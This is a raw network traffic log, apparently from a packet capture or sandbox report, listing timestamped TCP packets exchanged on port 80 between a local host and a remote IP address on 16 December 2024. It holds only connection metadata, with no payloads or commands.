Dec 16, 2024 13:16:15.254565001 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.254606009 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.255419970 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.255469084 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.255516052 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.255551100 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.256525993 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.256539106 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.256568909 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.256594896 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.257411957 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.257460117 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.257491112 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.257529974 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.258436918 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.258450031 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.258495092 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.259340048 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.259380102 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.259397030 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.259428978 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.260236979 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.260289907 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.260339975 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.260384083 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.261249065 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.261295080 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.261358023 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.261396885 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.262176991 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.262228966 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.262283087 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.262365103 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.263122082 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.263174057 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.263247013 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.263289928 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.264202118 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.264262915 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.264270067 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.264306068 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.265113115 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.265158892 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.265417099 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.266156912 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.266228914 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.266243935 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.266294003 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.267030954 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.267085075 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.267086983 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.267136097 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.268027067 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.268105984 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.268119097 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.268171072 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.269057989 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.269129992 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.269171000 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.269218922 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.269995928 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.270051956 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.270112038 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.270163059 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.271022081 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.271066904 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.271080971 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.271111965 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.271927118 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.271987915 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.272066116 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.272114038 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.272954941 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.273005962 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.273058891 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.273104906 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.274050951 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.274066925 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.274100065 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.274137020 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.274837971 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.274931908 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.274970055 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.275012970 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.275700092 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.275757074 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.275810003 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.275855064 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.276721001 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.276734114 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.276787043 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.277686119 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.277697086 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.277729988 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.277757883 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.278656960 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.278667927 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.278719902 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.279831886 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.279843092 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.279900074 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.280589104 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.280647039 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.280680895 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.280723095 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.281605005 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.281616926 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.281682014 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.282504082 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.282567978 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.282624960 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.282694101 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.283401966 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.283503056 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.283521891 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.283608913 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.284457922 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.284522057 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.284538984 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.284564972 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.285464048 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.285518885 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.285567999 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.285617113 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.286346912 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.286420107 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.286462069 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.286514044 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.287363052 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.287446976 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.287478924 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.287504911 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.288350105 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.288362980 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.288409948 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.288409948 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.289262056 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.289319038 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.289386988 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.289434910 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.290225029 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.290277958 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.290342093 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.290390015 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.291224957 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.291235924 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.291275978 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.292104959 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.292169094 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.292249918 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.292298079 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.293169975 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.293180943 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.293232918 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.294177055 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.294202089 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.294241905 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.294271946 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.295085907 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.295125961 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.295140982 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.295166016 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.296092987 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.296108007 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.296145916 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.296173096 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.296947956 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.297000885 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.297059059 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.297100067 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.298007965 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.298018932 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.298060894 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.298901081 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.298954010 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.298968077 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.299010038 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.299976110 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.299988031 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.300035954 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.300844908 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.300890923 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.300919056 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.300959110 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.301805019 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.301866055 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.442926884 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.442950010 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.442986965 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.443022013 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.443182945 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.443221092 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.443275928 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.443310022 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.444294930 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.444334984 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.444386959 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.444425106 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.445262909 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.445275068 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.445302963 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.446187019 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.446197033 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.446234941 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.447180986 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.447196007 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.447222948 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.447254896 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.448077917 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.448087931 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.448117971 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.449198008 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.449208975 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.449238062 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.450031996 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.450079918 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.450129986 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.450166941 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.450987101 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.450998068 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.451026917 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.451042891 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.453140974 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.453152895 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.453162909 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.453175068 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.453190088 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.453214884 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.453246117 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.453852892 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.453864098 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.453902960 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.454952955 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.454988003 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.455007076 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.455025911 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.455847979 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.455861092 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.455892086 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.455904007 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.456798077 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.456842899 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.456851959 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.456886053 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.457683086 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.457727909 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.457807064 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.457849979 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.458751917 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.458762884 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.458806992 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.459687948 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.459702015 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.459743977 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.460664034 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.460716963 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.460784912 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.460829973 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.461666107 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.461716890 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.461730957 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.461772919 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.462688923 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.462701082 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.462748051 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.463835955 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.463886976 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.463900089 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.463932991 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.464591026 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.464634895 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.464693069 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.464740038 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.465436935 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.465503931 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.465545893 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.465593100 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.466464043 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.466480017 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.466521025 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.466547012 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.467371941 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.467427969 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.467470884 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.467523098 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.468373060 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.468417883 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.468435049 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.468460083 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.469465971 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.469480991 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.469527960 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.469552994 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.470324993 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.470386982 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.470454931 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.470510960 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.471221924 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.471295118 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.471297979 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.471349001 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.472198009 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.472282887 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.472282887 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.472327948 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.473278999 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.473293066 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.473330021 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.473360062 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.474188089 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.474203110 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.474247932 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.474247932 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.475326061 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.475375891 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.475430965 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.475480080 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.476087093 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.476119995 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.476140022 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.476164103 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.477019072 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.477073908 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.477106094 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.477154970 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.478035927 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.478085995 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.478091002 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.478127956 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.478969097 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.479022026 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.479043961 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.479094982 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.479990005 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.480045080 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.480057955 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.480098963 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.480909109 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.480958939 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.481002092 CET	80	49711	31.41.244.11	192.168.2.8
